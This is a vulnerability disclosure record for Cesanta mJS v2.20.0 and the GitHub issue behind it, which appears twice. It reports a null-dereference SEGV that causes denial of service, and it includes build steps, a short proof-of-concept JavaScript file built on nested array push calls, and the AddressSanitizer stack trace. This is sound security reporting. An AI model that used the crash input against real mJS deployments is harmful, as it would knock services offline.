Cesanta MJS v2.20.0 was discovered to contain a SEGV vulnerability via /lib/x86_64-linux-gnu/libc.so.6+0x45a1f. This vulnerability can lead to a Denial of Service (DoS).
cpe:2.3:a:cesanta:mjs:2.20.0:*:*:*:*:*:*:*
CF8D39F6-ACB1-46F8-87CF-1B41EFC157BE
OR
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
function JSEtest() {
    let arr = [1];
    [[arr.push(0, 17)].push([arr.push(0, 17)].push(0, 17))];
}
JSEtest();
```
</code></pre>
</details>

​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==126169==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb20926da20 bp 0x000000000000 sp 0x7ffc6083ff90 T0)
==126169==The signal is caused by a READ memory access.
==126169==Hint: address points to the zero page.
    #0 0x7fb20926da1f  (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
    #1 0x5619439c70b3 in cstr_to_ulong src/mjs_string.c:232
    #2 0x5619439c70b3 in str_to_ulong src/mjs_string.c:242
    #3 0x5619438ff7bb in mjs_array_length src/mjs_array.c:83
    #4 0x5619438ff7bb in mjs_array_push src/mjs_array.c:115
    #5 0x5619438ff7bb in mjs_array_push_internal src/mjs_array.c:131
    #6 0x561943924244 in mjs_execute src/mjs_exec.c:853
    #7 0x56194392da05 in mjs_exec_internal src/mjs_exec.c:1073
    #8 0x56194392da05 in mjs_exec_file src/mjs_exec.c:1096
    #9 0x5619438ea909 in main src/mjs_main.c:47
    #10 0x7fb209249b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #11 0x5619438eb449 in _start (/usr/local/bin/Gmjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
==126169==ABORTING
```

Credits: Found by OWL337 team.
SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
This is a GitHub Issue
repo:mjs
owner:cesanta
Title : SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
Issue date:

--- start body ---
###### mJS revision

Commit: [b1b6eac](https://github.com/cesanta/mjs/commit/b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551)




###### Build platform

Ubuntu 18.04.5 LTS (Linux 5.4.0-44-generic x86_64)



###### Build steps

```bash
vim Makefile
DOCKER_GCC=gcc
$(DOCKER_GCC) $(CFLAGS) $(TOP_MJS_SOURCES) $(TOP_COMMON_SOURCES) -o $(PROG)
# save the makefile then make
make
```



###### Test case
<details>
<summary>poc.js</summary>
<pre><code>

```javascript
function JSEtest() {
    let arr = [1];
    [[arr.push(0, 17)].push([arr.push(0, 17)].push(0, 17))];
}
JSEtest();
```
</code></pre>
</details>

​	

###### Execution steps & Output

```bash
$ ./mjs/build/mjs poc.js
ASAN:DEADLYSIGNAL
=================================================================
==126169==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7fb20926da20 bp 0x000000000000 sp 0x7ffc6083ff90 T0)
==126169==The signal is caused by a READ memory access.
==126169==Hint: address points to the zero page.
    #0 0x7fb20926da1f  (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
    #1 0x5619439c70b3 in cstr_to_ulong src/mjs_string.c:232
    #2 0x5619439c70b3 in str_to_ulong src/mjs_string.c:242
    #3 0x5619438ff7bb in mjs_array_length src/mjs_array.c:83
    #4 0x5619438ff7bb in mjs_array_push src/mjs_array.c:115
    #5 0x5619438ff7bb in mjs_array_push_internal src/mjs_array.c:131
    #6 0x561943924244 in mjs_execute src/mjs_exec.c:853
    #7 0x56194392da05 in mjs_exec_internal src/mjs_exec.c:1073
    #8 0x56194392da05 in mjs_exec_file src/mjs_exec.c:1096
    #9 0x5619438ea909 in main src/mjs_main.c:47
    #10 0x7fb209249b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #11 0x5619438eb449 in _start (/usr/local/bin/Gmjs+0xe449)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x45a1f)
==126169==ABORTING
```

Credits: Found by OWL337 team.
--- end body ---

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